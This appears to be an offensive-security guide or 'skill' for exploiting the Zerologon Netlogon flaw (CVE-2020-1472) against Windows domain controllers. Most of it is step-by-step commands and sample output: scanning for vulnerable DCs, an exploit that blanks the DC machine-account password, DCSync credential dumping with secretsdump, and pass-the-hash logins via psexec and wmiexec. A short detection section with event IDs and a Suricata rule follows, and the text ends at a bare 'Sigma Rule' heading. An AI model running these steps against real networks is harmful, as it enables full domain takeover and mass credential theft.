Exploiting Zerologon Vulnerability Cve 2020 1472

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

MITRE ATT&CK Mapping

Vulnerability Technical Details

Root Cause

The Netlogon authentication protocol uses AES-CFB8 encryption with a client challenge and server challenge. The vulnerability exists because:

1. The IV is hardcoded to 16 bytes of zeros
2. When the plaintext is 8 bytes of zeros, AES-CFB8 produces a ciphertext of all zeros with probability 1 in 256
3. An attacker can send approximately 256 authentication attempts (takes ~3 seconds) to succeed

Affected Systems

• Windows Server 2008 R2 through Windows Server 2019
• All domain controllers running unpatched Netlogon service
• Samba versions < 4.8 (if running as AD DC)

Step 1: Identify Vulnerable Domain Controllers

# Scan for domain controllers
nmap -p 135,139,389,445 -sV --script=ms-sql-info,smb-os-discovery 10.10.10.0/24

# Check if DC is vulnerable using zerologon checker
python3 zerologon_tester.py DC01 10.10.10.1

# Using CrackMapExec
crackmapexec smb 10.10.10.1 -M zerologon

Step 2: Exploit Zerologon

# Using Impacket's CVE-2020-1472 exploit
# This sets the DC machine account password to empty
python3 cve_2020_1472.py DC01$ 10.10.10.1

# Expected output:
# Performing authentication attempts...
# =========================================
# NetrServerAuthenticate2 Result: 0 (success after ~256 attempts)
# NetrServerPasswordSet2 call was successful
# DC01$ machine account password set to empty string

Step 3: DCSync with Empty Password

# Use the empty hash to perform DCSync
secretsdump.py -no-pass -just-dc corp.local/DC01\[email protected]

# Output includes all domain hashes:
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
# krbtgt:502:aad3b435b51404eeaad3b435b51404ee:f3bc61e97fb14d18c42bcbf6c3a9055f:::
# svc_sql:1103:aad3b435b51404eeaad3b435b51404ee:e4cba78b4c01d6e5c0e31ffff18e46ab:::

# Alternatively, dump specific accounts
secretsdump.py -no-pass corp.local/DC01\[email protected] \
  -just-dc-user Administrator

Step 4: Obtain Domain Admin Access

# Pass the Hash with Administrator NTLM
psexec.py -hashes :32ed87bdb5fdc5e9cba88547376818d4 \
  corp.local/[email protected]

# Or use wmiexec for stealthier access
wmiexec.py -hashes :32ed87bdb5fdc5e9cba88547376818d4 \
  corp.local/[email protected]

Step 5: Restore Machine Account Password (CRITICAL)

WARNING: After exploiting Zerologon, the DC machine account password is empty, which will break Active Directory replication and services. You MUST restore it.

# Method 1: Use the exploit's restore functionality
python3 restorepassword.py corp.local/DC01@DC01 -target-ip 10.10.10.1 \
  -hexpass <original_hex_password>

# Method 2: Force machine account password change from DC
# Connect to DC as Administrator and run:
netdom resetpwd /server:DC01 /userd:CORP\Administrator /passwordd:*

# Method 3: Restart the DC (it will auto-regenerate machine password)
# This is the safest method but causes downtime

Detection

Windows Event Logs

Event ID 4742: A computer account was changed
- Look for: DC$ account with password change
- Anomaly: Multiple 4742 events for DC$ in short period

Event ID 5805: Netlogon authentication failure
- Multiple failures followed by success = Zerologon attempt

Event ID 4624 (Type 3): Network logon
- DC$ account logging in from unexpected IP

Network Detection

# Suricata rule for Zerologon
alert dcerpc any any -> any any (
  msg:"ET EXPLOIT Possible Zerologon NetrServerReqChallenge";
  flow:established,to_server;
  dce_opnum:4;
  content:"|00 00 00 00 00 00 00 00|";
  sid:2030870;
  rev:1;
)

Sigma Rule